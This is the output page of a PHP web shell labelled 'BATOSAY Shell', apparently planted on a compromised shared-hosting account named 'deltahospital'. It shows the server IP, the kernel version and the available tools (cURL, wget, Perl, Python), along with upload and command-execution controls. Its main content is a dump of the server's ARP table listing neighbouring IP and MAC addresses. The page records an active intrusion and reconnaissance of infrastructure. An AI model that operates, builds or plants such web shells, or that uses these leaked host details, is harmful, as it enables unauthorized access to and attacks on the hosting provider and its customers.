BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/thread-self/net/arp
IP address       HW type     Flags       HW address            Mask     Device
169.254.128.4    0x1         0x0         00:00:00:00:00:00     *        ens3
169.254.128.130  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.61.43     0x1         0x2         52:54:00:21:20:fd     *        ens3
162.210.100.19   0x1         0x2         ac:1f:6b:fd:27:cf     *        ens3
170.10.162.9     0x1         0x2         52:54:00:cb:9d:54     *        ens3
169.254.203.102  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.61.3      0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.61.125    0x1         0x2         52:54:00:40:9c:70     *        ens3
198.23.58.3      0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
169.254.128.3    0x1         0x0         00:00:00:00:00:00     *        ens3
162.210.102.131  0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
170.10.163.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
169.254.118.162  0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.161.99    0x1         0x2         52:54:00:b5:13:3b     *        ens3
169.254.72.179   0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.26     0x1         0x2         52:54:00:c0:01:20     *        ens3
170.10.160.202   0x1         0x2         52:54:00:bb:f6:95     *        ens3
198.23.58.242    0x1         0x2         52:54:00:cb:9d:54     *        ens3
162.210.98.44    0x1         0x2         52:54:00:40:e6:19     *        ens3
162.210.98.87    0x1         0x2         52:54:00:5b:ac:45     *        ens3
170.10.164.59    0x1         0x2         52:54:00:b5:13:3b     *        ens3
198.23.58.29     0x1         0x2         52:54:00:c0:01:20     *        ens3
170.10.161.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.58.68     0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.1      0x1         0x2         00:00:5e:00:01:3a     *        ens3
169.254.215.85   0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.164.184   0x1         0x2         0c:c4:7a:87:2e:d5     *        ens3
170.10.162.187   0x1         0x2         00:16:3c:60:40:c2     *        ens3
162.210.98.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.61.126    0x1         0x2         00:16:3c:fd:39:b2     *        ens3
169.254.128.134  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.201    0x1         0x2         52:54:00:c0:cd:6d     *        ens3
198.23.62.3      0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
162.210.98.239   0x1         0x2         52:54:00:e8:58:bc     *        ens3
169.254.100.187  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.153    0x1         0x2         52:54:00:bb:f6:95     *        ens3
169.254.133.131  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.52.131    0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.60.3      0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.58.65     0x1         0x2         52:54:00:b0:d9:2f     *        ens3
169.254.128.2    0x1         0x0         00:00:00:00:00:00     *        ens3
162.210.99.35    0x1         0x2         ac:1f:6b:55:55:30     *        ens3
198.23.58.246    0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.179    0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.162.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.61.88     0x1         0x2         52:54:00:21:20:fd     *        ens3
169.254.246.160  0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.160.79    0x1         0x2         52:54:00:21:20:fd     *        ens3
170.10.161.184   0x1         0x2         ac:1f:6b:fd:c2:0c     *        ens3
169.254.128.131  0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.160.39    0x1         0x2         52:54:00:b5:13:3b     *        ens3
170.10.162.203   0x1         0x2         52:54:00:bb:f6:95     *        ens3
169.254.134.132  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.59.3      0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
170.10.160.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.62.7      0x1         0x2         ac:1f:6b:fd:91:32     *        ens3
198.23.58.106    0x1         0x0         00:00:00:00:00:00     *        ens3
169.254.193.109  0x1         0x0         00:00:00:00:00:00     *        ens3
162.210.100.3    0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.60.95     0x1         0x2         0c:c4:7a:87:2f:e2     *        ens3
169.254.128.66   0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.161.190   0x1         0x2         52:54:00:b5:13:3b     *        ens3
198.23.58.54     0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.164.241   0x1         0x2         52:54:00:40:e6:19     *        ens3
170.10.162.189   0x1         0x2         52:54:00:bb:f6:95     *        ens3
198.23.58.6      0x1         0x2         52:54:00:bb:f6:95     *        ens3
169.254.128.69   0x1         0x0         00:00:00:00:00:00     *        ens3
169.254.128.195  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.61.33     0x1         0x2         52:54:00:e8:58:bc     *        ens3
169.254.133.130  0x1         0x0         00:00:00:00:00:00     *        ens3
198.23.58.254    0x1         0x2         52:54:00:ab:f4:5a     *        ens3
198.23.58.33     0x1         0x0         00:00:00:00:00:00     *        ens3
170.10.161.23    0x1         0x2         52:54:00:d1:62:87     *        ens3
162.210.99.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
170.10.160.107   0x1         0x2         0c:c4:7a:55:61:8d     *        ens3
198.23.62.71     0x1         0x2         52:54:00:d1:62:87     *        ens3
170.10.164.3     0x1         0x2         d8:94:03:f6:f0:6b     *        ens3
198.23.58.4      0x1         0x2         52:54:00:e8:58:bc     *        ens3

Batosay - 2023
IDNSEO Team